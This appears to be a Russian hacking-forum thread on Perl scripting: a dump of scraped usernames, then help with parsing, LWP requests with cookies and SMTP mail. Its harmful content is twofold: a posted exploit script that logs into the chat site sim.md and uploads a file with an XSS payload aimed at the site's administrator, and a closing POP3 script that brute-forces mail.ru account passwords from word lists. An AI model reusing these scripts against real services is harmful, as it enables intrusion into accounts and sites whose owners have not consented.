/nbaribriska/ /nbaribriska/ /nfreegirl2009/ /nfreegirl2009/ /nkara_888/ /nkara_888/ /n7marichka7/ /n7marichka7/ /nnikitinasfia/ /nnikitinasfia/ /nmmeloun/ /nmmeloun/ /nadministrarot/ /nadministrarot/ /nbiankahey/ /nbiankahey/ /npleasurefeya/ /npleasurefeya/ /n14121948/ /n14121948/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nnedoverie666/ /nnedoverie666/ /nkloakovna/ /nkloakovna/ /nshp1lka/ /nshp1lka/ /nvik4aki/ /nvik4aki/ /nkiradi/ /nkiradi/ /nannpavl/ /nannpavl/ /n123alina123/ /n123alina123/ /nneotkrita9/ /nneotkrita9/ /nsunshine2608/ /nsunshine2608/ /ndraganirusik/ /ndraganirusik/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nhome316040/ /nhome316040/ /njuliamoroz/ /njuliamoroz/ /n18018820/ /n18018820/ /nanastse20082008/ /nanastse20082008/ /nlana333999/ /nlana333999/ /nnadja82/ /nnadja82/ /nkokosankina/ /nkokosankina/ /nfindrolya/ /nfindrolya/ /n5e7ikgulk5e7/ /n5e7ikgulk5e7/ /nmargaritkavesna/ /nmargaritkavesna/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nbrilliantspb13/ /nbrilliantspb13/ /nhellen20008/ /nhellen20008/ /nanitella/ /nanitella/ /nhelen26star/ /nhelen26star/ /nveronika54575/ /nveronika54575/ /nstervohka125/ /nstervohka125/ /n4w6iudtikduu/ /n4w6iudtikduu/ /nvozduh555/ /nvozduh555/ /nveraenigma/ /nveraenigma/ /nolga1709/ /nolga1709/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/n11113130/ /n11113130/ /nannet__13/ /nannet__13/ /ntrinyty87/ /ntrinyty87/ /nekatusha28/ /nekatusha28/ /nmalenka1982/ /nmalenka1982/ /n5i7dtukoe67i/ /n5i7dtukoe67i/ /nsovenoc_s/ /nsovenoc_s/ /nzyyyf/ /nzyyyf/ /ntanya261991/ /ntanya261991/ /nkraxxx1/ /nkraxxx1/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nasagao/ /nasagao/ /nkfnbyj4/ /nkfnbyj4/ /ngalochka8/ /ngalochka8/ /nvikentei1/ /nvikentei1/ /noi76tdo57lk/ /noi76tdo57lk/ /nshaindina/ /nshaindina/ /na521955/ /na521955/ /nygo_zapad/ /nygo_zapad/ /nsincere5/ /nsincere5/ /n19angy/ /n19angy/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nyartatyana1/ /nyartatyana1/ /ntashkakakashka/ /ntashkakakashka/ /nirka_durka/ /nirka_durka/ /nvikusjonochek/ /nvikusjonochek/ /ningatu/ /ningatu/ /nphuntik2/ /nphuntik2/ /nfylode6oi7e67/ /nfylode6oi7e67/ /n4udo_/ /n4udo_/ /ntatyanali/ /ntatyanali/ /ntinakisska/ /ntinakisska/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nmaxislav/ /nmaxislav/ /nledioksana/ /nledioksana/ /nsweeeetcandyyy/ /nsweeeetcandyyy/ /nannaval/ /nannaval/ /nalekseevalena/ /nalekseevalena/ /nbesttiy/ /nbesttiy/ /nboss303/ /nboss303/ /n009831/ /n009831/ /noosq/ /noosq/ /nangelokkk88/ /nangelokkk88/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/niriska1958/ /niriska1958/ /n100119915/ /n100119915/ /nhotatla/ /nhotatla/ /namandalight/ /namandalight/ /nnadinglot79/ /nnadinglot79/ /n_tutun_/ /n_tutun_/ /nkolconina/ /nkolconina/ /nwegus33/ /nwegus33/ /nleonok77/ /nleonok77/ /nmashuta4ka/ /nmashuta4ka/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
/nkmariko/ /nkmariko/ /n222oly/ /n222oly/ /nfortuna200833/ /nfortuna200833/ /nnino250/ /nnino250/ /naliska202/ /naliska202/ /nmaria912008/ /nmaria912008/ /nmammamia360/ /nmammamia360/ /nsimpompula/ /nsimpompula/ /n5lybimka5/ /n5lybimka5/ /ngik57itik75/ /ngik57itik75/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nhelgarb/ /nstarcat2/ /nstarcat2/ /nstarcat2/ /nkosf17/ /nkosf17/ /nkosf17/ /ntanysha52/ /ntanysha52/ /ntanysha52/ /nBondos/ /nBondos/ /nBondos/ /nkuza25/ /nkuza25/ /nkuza25/ /nadmindark/ /nadmindark/ /nadmindark/ /nonloveee/ /nonloveee/ /nonloveee/ /nlopo112/ /nlopo112/ /nlopo112/ /nrnn77/ /nrnn77/ /nrnn77/ /nmelz81/ /nmelz81/ /nmelz81/ /nstcatherine/ /nstcatherine/ /nstcatherine/ /nalenka808080/ /nalenka808080/ /nalenka808080/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /n29fduecnf1970uj/ /nirina1068/ /nirina1068/ /nirina1068/ /nkissa_spb/ /nkissa_spb/ /nkissa_spb/
мне надо его отпарсить и убрать повторы
записать в другой файл
вида:
masha
sasha
и тд
пытался заменить слеш на символ перевода строки
но нифига не получается можно хотя бы просто записать в файл и посоветовать тулзу которая уберет
повторы зарание спасибо
my @arr = $text =~ m@/([^/]+)/@g;
open (FILE, '>file.txt');
foreach(@arr) { print FILE $_."\n"; }
Если только уникальные, то правильнее так:
@arr = $text =~ m@/([^/]+)/@g;
undef %saw;
@out = grep(!$saw{$_}++, @arr);
open (FILE, '>file1.txt');
foreach(@out) { print FILE $_."\n"; }
где почитать про многопоточность ? в гугл не посылать )) статью на ачате видел-ничего не понял :(
Попробуй здесь посмотри http://nopox.wordpress.com/2007/10/06/multithreading-in-perl/ или http://www.realcoding.net/article/view/2130 ( конечно не в perl, но как пособие сойдёт )
как получить страничку на которую перекинуло после посылки пост запроса (лвп)?
Пример:
#! /usr/bin/perl
use strict;
use LWP 5.64;
my $url='http://paste.org.ru/?';
my $browser=LWP::UserAgent->new;
my $response=$browser->post($url,
[ 'type'=>'1',
'code'=>'xXxXxXxXx',
]
);
как получить ссылку где был размещен текст 'xXxXxXxXx'? Типа http://paste.org.ru/?7acv51
#! /usr/bin/perl -w
use strict;
use LWP 5.64;
my $url='http://paste.org.ru/?';
my $browser=LWP::UserAgent->new;
my $response=$browser->post($url,
[ 'type'=>'1',
'code'=>'7acv51',
]
);
$response = $response->as_string;
$response =~ /"(.*?)"/;
print "http://paste.org.ru$1";
Подскажите как устанавливать дополнительные модули в перл?
Знаю что бы просто выполнить команду
perl -MCPAN -e 'install <имя модуля>' требуется компилятор C++ , у меня его нету((
и через PMM пробывал , запускаю из cmd D:\Perl\bin\ppm.bat , и как написано в инструкции должна появиться командная строка но это у меня не проихожит, появляется программа
http://photofile.ru/expressphoto/dozalanofashatarondadrait/large/1108371.JPG
в ней как я её не тыкал не нашол куда можно ввести команду
а командная строка из который я запускал PMM нагло молчит,
http://photofile.ru/expressphoto/dozalanofashatarondadrait/large/1108372.JPG
помогите пожайлусто
Зачем команда, ето гуи. Скачиваешь необходимые либы себе, обзором их находишь и ставишь.
Спасибо , тогда ещё один вопрос если можно, хочу организовать отправку письма
use Log::Dispatch::Email::MailSender;
my $email =
Log::Dispatch::Email::MailSender->new
( name => 'email',
min_level => 'emerg',
to => [ qw( foo@bar.com bar@baz.org ) ],
subject => 'Oh no!!!!!!!!!!!',
smtp => 'mail.foo.bar' );
$email->log( message => 'Something bad is happening', level => 'emerg' );
как я понял для этого нужно установить модуль Log
http://search.cpan.org/~drolsky/Log-Dispatch-2.21/lib/Log/Dispatch/Email/MailSender.pm
Зачем команда, ето гуи. Скачиваешь необходимые либы себе, обзором их находишь и ставишь.
совсем глупый чтоле =\
Всё разобрался с установкой в Gui , установил модуль MailSender но всёравно скрипт выдаёт ошибку. подскажите пожайлусто, какие модули нужны для отправки письма
Попробуй так:
use Net::SMTP;
$smtp = Net::SMTP->new('smtp.mtu-net.ru');
$smtp->mail( 'billgates@microsoft.com' );
$smtp->to('stevejobs@apple.com');
$smtp->data();
$smtp->datasend('To: stevejobs@apple.com\n');
$smtp->datasend('From: billgates@microsoft.com\n');
$smtp->datasend("\n");
$smtp->datasend("Microsoft\n");
$smtp->dataend();
$smtp->quit;
Попробуй так:
Вылазиет ошибка
Can't call method 'mail' on an undefined value at [путьк скрипту]
Вроде модуль Net::SMTP установлен (устанавливал через Gui интерфейс) решил если не установился инсталить через командную строку (ppm-shell.bat)
вот её ответ
ppm> install Net::SMTP
Downloading ActiveState Package Repository packlist...not modified
No missing packages to install
что я не так делаю
потом решил устанавливать через cpan шелл
D:\Documents and Settings\zz>perl -MCPAN -e shell
cpan shell -- CPAN exploration and modules installation (v1.7602)
ReadLine support enabled
cpan> install Net::SMTP
CPAN: Storable loaded ok
Going to read D:\Perl\cpan\Metadata
Database was generated on Fri, 18 Apr 2008 10:29:50 GMT
CPAN: LWP::UserAgent loaded ok
Fetching with LWP:
http://ppm.activestate.com/CPAN/authors/01mailrc.txt.gz
Going to read D:\Perl\cpan\sources\authors\01mailrc.txt.gz
Fetching with LWP:
http://ppm.activestate.com/CPAN/modules/02packages.details.txt.gz
Going to read D:\Perl\cpan\sources\modules\02packages.details.tx t.gz
Database was generated on Sat, 24 May 2008 08:30:29 GMT
There's a new CPAN.pm version (v1.9205) available!
[Current version is v1.7602]
You might want to try
install Bundle::CPAN
reload cpan
without quitting the current session. It should be a seamless upgrade
while we are running...
Fetching with LWP:
http://ppm.activestate.com/CPAN/modules/03modlist.data.gz
Going to read D:\Perl\cpan\sources\modules\03modlist.data.gz
Going to write D:\Perl\cpan\Metadata
Net::SMTP is up to date.
и опять эта ошибка при запуске скрипта Can't call method 'mail' on an undefined value at [путьк скрипту]
хы странно а сейчас никакой ошибки нет при запуске скрипт подумает секунды 2 и успешно закрывается но письма на maskit7@mail.ru неприходит может я не так отредактировал исходник?
use Net::SMTP;
$smtp = Net::SMTP->new('smtp.mail.ru');
$smtp->mail('sde@mail.ru');
$smtp->to('maskit7@mail.ru');
$smtp->data();
$smtp->datasend('To: maskit7@mail.ru');
$smtp->datasend('From: sde@mail.ru');
$smtp->datasend("\n");
$smtp->datasend("Microsoft\n");
$smtp->dataend();
$smtp->quit;
помогите пожайлусто , кто решит мою беду тому на протяжении недели каждый день буду ставить по +Max
Включи дебажный режим и посмотри, что рисует скрипт
$smtp = Net::SMTP->new('smtp.mail.ru', Timeout => 30, Debug => 1);
Скорее всего, тебе выдастся
503 Administrative prohibition -- authorization required. Users in your domain are not allowed to send email without authorization. See http://www.mail.ru/pages/help/261.html for details.
PS. Рабочий код
#!/usr/bin/perl -w
use Net::SMTP;
$smtp = Net::SMTP->new (
Host => 'smtp.mail.ru',
Timeout => 30,
Debug => 1
);
$smtp->auth('sde', 'PASSWORD');
$smtp->mail('sde@mail.ru');
$smtp->to('maskit7@mail.ru');
$smtp->data();
$smtp->datasend("To: maskit7\@mail.ru\n");
$smtp->datasend ("Subject: Test Subject");
$smtp->datasend("\n");
$smtp->datasend("A simple test message\n");
$smtp->dataend();
$smtp->quit;
Для авторизации требуются модули Mime::Base64 и Authen::SASL
krypt3r огромное спасибо выручил. с меня как я и обещал, а что бы отправить емайл с чужого мыла, нужно создавать свой smtp сервер?
посоветуйте GUI библиотеку под Perl незнаю какую выбрать
Perl Tk
Tkx
Gtk
Gtk2
Qt
кто нить пробывал писать гуи на перл а то инфы вообще мало
будет круто если еще и книжку подскажете
допустим в файле xxx лежит такой текст :
xxx;yyy
zzz;ooo
ppp;ccc
как мне в переменную $poe загнать текст xxx а в переменную $poez yyy ? и как потом их очистить и загнать текст из другой строки ?
Vid0k
я хотел попробовать, но не начал. лично я посоветовал бы тебе юзать gtk. а инфа наверняка есть на gtk.org
$p01nt
$str = 'xxx;yyy';
($poe, $poez) = split (/;/, $str);
можно и регуляркой :)
krypt3r тема раскрыта не до конца :) ты лишь показал как разделить и занести в переменную... а если эта инфа в текстовом файле и надо все строчки поочередно заносить в эти переменные ... как поступать тогда ?
Подскажите как отправить пост запрос через LWP::UserAgent с куками
Подскажите как отправить пост запрос через LWP::UserAgent с куками
?
use LWP;
use HTTP::Cookies;
use strict;
my $url='www.perl.com/login';
my $ua=LWP::UserAgent->new;
my $cookie_jar=HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
my $req=$ua->post($url,
['username' => 'ZET36',
'password' => 'justanotherperlhacker',
]);
$cookie_jar->extract_cookies($req);
спасибо t00th но когда я пытаюсь вывести ответ то выводит
404 URL must be absolute
скрипт запускал со своего компа , может я что не так сделал?
use LWP;
use HTTP::Cookies;
my $url='www.win.mail.ru/cgi-bin/auth';
my $ua=LWP::UserAgent->new;
my $cookie_jar=HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
my $req=$ua->post($url,
[Login => 'login', Domain => 'mail.ru', Password => 'pass', Mpopl => '274219236']);
$cookie_jar->extract_cookies($req);
print $req->content;
$F = <STDIN>;
и я так не понял в какую переменную нужно прописывать куки (которые я хочу отправить с запросом) а сдесь помему приведён пример чтения куков после запроса
Подскажите как отправить пост запрос через LWP::UserAgent с куками
http://search.cpan.org/~gaas/libwww-perl-5.812/lib/HTTP/Cookies.pm
use HTTP::Cookies;
$cookie_jar = HTTP::Cookies->new(
file => "$ENV{'HOME'}/lwp_cookies.dat',
autosave => 1,
);
use LWP;
my $browser = LWP::UserAgent->new;
$browser->cookie_jar($cookie_jar);
спасибо t00th но когда я пытаюсь вывести ответ то выводит
скрипт запускал со своего компа , может я что не так сделал?
use LWP;
use HTTP::Cookies;
my $url='www.win.mail.ru/cgi-bin/auth';
my $ua=LWP::UserAgent->new;
my $cookie_jar=HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
my $req=$ua->post($url,
[Login => 'login', Domain => 'mail.ru', Password => 'pass', Mpopl => '274219236']);
$cookie_jar->extract_cookies($req);
print $req->content;
$F = <STDIN>;
и я так не понял в какую переменную нужно прописывать куки (которые я хочу отправить с запросом) а сдесь помему приведён пример чтения куков после запроса
А http куда дел?
http://win.mail.ru/cgi-bin/auth
slider спасибо теперь работает
а вот в какую переменную прописывать куки ?( я хочу тправить пост запрос с куами . вот например)
POST http://mail.rambler.ru/script/auth.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.rambler.ru/
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709))
Host: mail.rambler.ru
Content-Length: 41
Pragma: no-cache
Cookie: ruid=UH0LBmW3KkhuFgEAARCXgwB=
domain=rambler.ru&url=7&login=zz&passw=zz
куда ruid=UH0LBmW3KkhuFgEAARCXgwB= прописывать?
Solide Snake
30.05.2008, 11:17
ZET36
Так они ж у тебя и так прописаны.
POST http://mail.rambler.ru/script/auth.cgi HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.rambler.ru/
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.8 (build 01709))
Host: mail.rambler.ru
Content-Length: 41
Pragma: no-cache
Cookie: ruid=UH0LBmW3KkhuFgEAARCXgwB=
domain=rambler.ru&url=7&login=zz&passw=zz
Solide Snake это запрос из навископа, я хочу отправить точно такой же запрос через перл, куда в скрипт мне прописывать куки я спрашивал
ZET36
$cookie_jar->set_cookie( $version, $key, $val, $path, $domain, $port, $path_spec, $secure, $maxage, $discard, \%rest )
The set_cookie() method updates the state of the $cookie_jar. The $key, $val, $domain, $port and $path arguments are strings. The $path_spec, $secure, $discard arguments are boolean values. The $maxage value is a number indicating number of seconds that this cookie will live. A value <= 0 will delete this cookie. %rest defines various other attributes like "Comment" and "CommentURL".
krypt3r хых прежде чем задать этот вопрос я гуглил и просмотрел кучу статей типо
http://cylib.iit.nau.edu.ua/Books/Prog/Perl/ActivePerl_Help/site/lib/HTTP/Cookies.html
но в английском я не очень силён, и при том не так хорошо знаю перл что бы разобраься в отрывках кода, поэтому и задал вопрос что бы посмотреть как это выглядит на примере
http://search.cpan.org/~gaas/libwww-perl-5.812/lib/HTTP/Cookies.pm
тоесть куки которые я хочу отправить с запросом должны быть записаны в файл
file => "файл с куками.txt"
?
biophreak
30.05.2008, 15:03
Хм...а в чем проблема просто, напрямую в файл писать? Или я чето не понял? =\
biophreak конешно это не проблема , содержимое файла вывести в переменную массива очень легко, просто я поинтересовался правильно ли я понял содержимое скрипта
biophreak
30.05.2008, 17:01
А сорри, не увидел, да, действительно, юзать file => "файл с куками.txt" будет имхо правильнее :)
Кхмм.... когда то меня мучал этот же вопрос.....
могу дать как пример.. на изучение один сплойт для чата "h t t p : / / s i m . m d"
который я писал для себя, для тренеровок ... багу уже конечно прикрыли.. но я надеюсь что реализация
всего этого ... будет кому то инересна.... хех.. а возможно для кого то станет хорошей тренировочной куклой
#!/usr/bin/perl
########################################
## Сoded by slider
## http://forum.antichat.ru
## _____________________
## Victim:
## http://sim.md/
########################################
use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
#######_АВТОРИЗАЦИЯ_#######
$a_login = 'Логин';
$a_pass = 'Пароль';
#########################
$victim = 'Администратор'; # НИК ЖЕРТВЫ
$ploent = '<BODY ONLOAD=alert("XSS")>';
#########################
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => 'http://sim.md/login.php');
my $cookie_jar = HTTP::Cookies->new;
$ua->timeout(60);
$ua->cookie_jar($cookie_jar);
$req->content("login=$a_login&password=$a_pass&tochat=1");
$req->content_type('application/x-www-form-urlencoded');
$req->referer('http://sim.md/');
my $res = $ua->request($req);
if ($res->status_line=~'302'==1)
{print "[~] Auth: OK\n"};
$req = HTTP::Request->new(GET => 'http://sim.md/chat.php');
$req->header('Accept' => 'text/html');
$req->referer('http://sim.md/login.php');
$res = $ua->request($req);
$cook = $cookie_jar->as_string;
@res_arr = split(/\n/, $cook);
$cookies = '';
foreach (@res_arr)
{if (/^Set-Cookie3: ([^;]*);(.*)/){
$cookies = $1; chomp($cookies);}}
$a=q(POST http://sim.md/records.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://sim.md/records.php
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d7186135506dc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: sim.md
Content-Length: 812
Pragma: no-cache
Cookie: );$b=qq($cookies
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="action"
send
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="name"
$victim
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="msg"
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="file"; filename="$ploent"
Content-Type: application/octet-stream
-----------------------------7d7186135506dc
Content-Disposition: form-data; name="forward"
-----------------------------7d7186135506dc--
);
$pack=$a.$b;
my $h_sock = new IO::Socket::INET (PeerAddr => "sim.md", PeerPort => '80', PeerProto => 'TCP' ) or die "[-] Exploit Failed";
print $h_sock $pack;
print "[~] Success ...\n";
Кстать присмотритесь к баге... она много где поможет вам.... ;)
Извеняйте судари, это опять я и опять с ламерским вопросом))
как организовать задержку в цикле?
в гугле везде натыкался на sleep
for ($i = 1; $i < 5; $i++)
{
print $i;
sleep 3;
}
но в этом варианте через 15 секунд сразу выводит 12345
а мне нужно что бы через каждые 3 секунды выводило переменную $i
Piflit спасибо , всё отлично
Здравствуйте!
Заранее извиняюсь за (может быть) глупый вопрос!
Почему данный скрипт на Локлке работает а на сервере нет???
#!usr/bin/perl
use Net::POP3;
$Fpass = 'passwords.txt';
$Femails = 'emails.txt';
$finds = 0;
open($emails, $Femails);
while(<$emails>)
{
chompt;
$email = $_;
open($passwords, $Fpass);
while(<$passwords>)
{
chompt;
$pass = $_;
$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);
if($pop->login($email, $pass)>0)
{
print "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
"[>]Email:".$email."\n".
"[>]Password:".$pass."\n";
}
else
{
print "[>]BAD Password:".$pass;
}
}
$pop->quit;
Close($passwords);
}
Close($emails);
Ошибка:
Can't call method "login" on an undefined value at hello.pl line 29, <$passwords> line 1.
П.С.
Сильно не бейте я только учусь!
:)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot